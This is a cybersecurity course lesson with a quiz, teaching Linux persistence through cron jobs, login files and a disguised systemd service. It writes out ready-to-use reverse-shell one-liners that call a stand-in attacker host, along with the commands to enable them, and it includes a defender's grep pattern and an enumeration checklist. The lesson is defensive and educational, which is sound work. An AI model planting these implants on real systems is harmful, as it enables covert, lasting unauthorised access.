learn/phase-3/p3-w13/lesson 03
Milestone 13 · lesson 3

Cron, systemd & Startup Persistence

Hands-on. Make code run automatically, on a schedule, at boot, or at login, so your access keeps coming back.
Lab: Reverse Shell at Login

Find the reverse-shell implant hidden in a startup file.

What you'll learn

  • Use cron and systemd timers to call back a shell on a schedule.
  • Plant persistence in startup and login files: rc.local, .bashrc, .profile.
  • Install a rogue systemd service that re-runs on every boot.
  • Enumerate all of these as a defender looking for an implant.

Cron, systemd & Startup Persistence

The other durable way back in is to make the machine run your code automatically. You already know the mechanisms from Linux Essentials, cron and systemd timers and startup files. Here you point them at a callback (usually a reverse shell) so your access keeps re-establishing itself, on a schedule, at boot, or at login.

Scheduled persistence (cron & timers)

A cron job that fires a reverse shell every few minutes means that even if your session dies, you get a fresh one soon:

# a user crontab line: call home every 10 minutes
*/10 * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER-IP/4444 0>&1'

Add it with crontab -e (per-user) or in /etc/cron.d/ (system-wide, runs as root). A systemd timer does the same job and hides better among legitimate units.

Startup & login persistence

Some files run on boot or every login, perfect triggers:

  • ~/.bashrc / ~/.profile , run every time that user opens an interactive shell. One appended line means your payload fires on every login:
    echo 'bash -i >& /dev/tcp/ATTACKER-IP/4444 0>&1 &' >> ~/.bashrc
    
  • /etc/rc.local (where present) , runs at boot as root.
  • /etc/profile.d/*.sh , runs for every user's login shell, system-wide.

A rogue systemd service

The sturdiest of the lot: your own service that systemd restarts on every boot.

# /etc/systemd/system/updater.service
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER-IP/4444 0>&1'
Restart=always

[Install]
WantedBy=multi-user.target
systemctl daemon-reload
systemctl enable --now updater.service     # starts now AND on every boot

A name like updater or sync sits quietly among real units.

The defender's hunt

Same mechanisms, read as detection:

crontab -l ; cat /etc/crontab ; ls -la /etc/cron.*     # scheduled implants
systemctl list-timers --all                            # timer implants
systemctl list-unit-files --state=enabled              # rogue services
grep -R "dev/tcp\|bash -i\|nc " ~/.bashrc ~/.profile /etc/rc.local /etc/profile.d 2>/dev/null

New units, odd @reboot jobs, and reverse-shell one-liners in login files are all classic tells. Baseline the system and diff against it.

The professional line

On an authorised test, any callback or service you add is minimal, clearly labelled, documented, and removed during clean-up. You never leave a live reverse shell behind on a client's box.

Why this matters

Scheduled and startup persistence is what makes access survive a reboot. It's a core red-team technique and, flipped around, a core detection checklist for defenders, the exact places to look when you suspect a machine is still compromised.

Check your understanding

4 questions

Type an answer and press Check. Grading is keyword-based and forgiving, so short answers are fine.

  1. 1

    Write a cron schedule shortcut that runs your payload once every time the machine boots.

  2. 2

    Which per-user file runs commands every time that user opens an interactive shell, a favourite for login persistence?

  3. 3

    Write the systemctl command that enables a (backdoor) service to start automatically on every boot.

  4. 4

    As a defender, write the command that lists all systemd timers (including inactive ones) to spot a scheduled implant.